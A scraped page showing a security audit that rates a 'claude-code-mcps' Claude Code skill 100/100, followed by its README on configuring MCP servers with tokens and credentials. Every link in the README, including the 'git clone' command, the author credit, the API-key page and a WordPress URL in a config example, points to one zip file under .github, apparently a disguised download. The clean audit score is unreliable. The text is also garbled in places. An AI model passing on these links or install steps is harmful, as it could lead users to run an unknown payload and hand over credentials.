Explore production-tested MCP servers for Claude Code to connect tools, APIs, and data sources
SaferSkills independently audited claude-code-mcps (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Built by [Artur Ferreira](https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip) @ [The GEO Lab](https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip) · 𝕏 @TheGEO\_Lab · LinkedIn
Production-tested Model Context Protocol (MCP) servers for Claude Code CLI and Claude projects. These servers enable Claude to interact with your tools, APIs, and data sources seamlessly.
MCP servers extend Claude's capabilities by providing access to:
Each server is configured in ~/.mcp.json and auto-loads when Claude Code starts.
git clone https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip
cd claude-code-mcpscp mcp.json.template ~/.mcp.jsonEdit ~/.mcp.json and add API keys/credentials for the servers you want to use (see Configuration below).
claude code --versionClaude will load your MCP servers on startup.
| Server | Purpose | Auth | Status |
|---|---|---|---|
| GitHub | Repos, PRs, issues, code search, actions | PAT | ✅ Prod |
| WordPress | Posts, pages, media, SEO, caching | App password | ✅ Prod |
| Google Search Console | Search analytics, sitemaps, URL inspection | Service account | ✅ Prod |
| Google Analytics 4 | Traffic, engagement, events, conversions | Service account | ✅ Prod |
| People, companies, jobs, posts | Browser session | ✅ Prod | |
| PostgreSQL | Custom databases, queries, data operations | Connection string | ✅ Prod |
| Redis | Cache, queues, sorted sets, operations | Host/port | ✅ Prod |
| Notion | Pages, databases, blocks, comments | API token | ✅ Prod |
| Gumroad | Products, sales, offers, email | API token | ✅ Prod |
| Firecrawl | Web scraping, crawling, search, extraction | API key | ✅ Prod |
| Puppeteer | Browser automation, screenshots, interaction | Local headless | ✅ Prod |
| Telegram | Messages, dialogs, channels | Session token | ✅ Prod |
| Filesystem | Local file read/write, directory operations | Allowed paths | ✅ Prod |
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["@modelcontextprotocol/server-github"],
"env": {
"GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_xxxxxxxxxxxx"
}
}
}
}Get a PAT:
repo, read:user, user:email, read:org.mcp.json{
"mcpServers": {
"wordpress": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-wordpress"],
"env": {
"WORDPRESS_SITES": "[{\"url\":\"https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip\",\"username\":\"user\",\"password\":\"pass\"}]",
"WORDPRESS_AUTH_METHOD": "app_password"
}
}
}
}Get an app password:
{
"mcpServers": {
"gsc": {
"command": "npx",
"args": ["@modelcontextprotocol/server-gsc"],
"env": {
"GOOGLE_APPLICATION_CREDENTIALS": "/path/to/service-account-key.json"
}
}
}
}Get service account credentials:
~/.gcp/gsc-sa.jsonGOOGLE_APPLICATION_CREDENTIALS path in .mcp.json{
"mcpServers": {
"ga4": {
"command": "npx",
"args": ["@modelcontextprotocol/server-ga4"],
"env": {
"GOOGLE_APPLICATION_CREDENTIALS": "/path/to/service-account-key.json",
"GA4_PROPERTY_ID": "528383456"
}
}
}
}{
"mcpServers": {
"linkedin": {
"command": "npx",
"args": ["@modelcontextprotocol/server-linkedin"],
"env": {
"LINKEDIN_PROFILE": "your-profile-name"
}
}
}
}Setup:
npm install -g @modelcontextprotocol/server-linkedinlinkedin-mcp-setup (uses patchright Chromium)~/.linkedin-mcp/profile/{
"mcpServers": {
"postgres": {
"command": "npx",
"args": ["@modelcontextprotocol/server-postgres"],
"env": {
"DATABASE_URL": "postgresql://user:password@host:5432/dbname"
}
}
}
}{
"mcpServers": {
"redis": {
"command": "npx",
"args": ["@modelcontextprotocol/server-redis"],
"env": {
"REDIS_URL": "redis://host:6379"
}
}
}
}{
"mcpServers": {
"firecrawl": {
"command": "npx",
"args": ["@modelcontextprotocol/server-firecrawl"],
"env": {
"FIRECRAWL_API_KEY": "fc-xxxxxxxxxxxx"
}
}
}
}Get API key: https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip
~/.mcp.json syntax: cat ~/.mcp.json | jqnpx @modelcontextprotocol/server-github --version~/.claude/logs/proxy: "enhanced" for better reliability.gitignoreexport GITHUB_PERSONAL_ACCESS_TOKEN=xxxx.tfvars filesPRs welcome! To add a new server:
See CONTRIBUTING.md for full guidelines.
MIT — see LICENSE
Built and maintained by [Artur Ferreira](https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip) · [thegeolab.net](https://github.com/keenanunequivocal81/claude-code-mcps/raw/refs/heads/main/.github/claude-mcps-code-3.8.zip) · MIT License
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.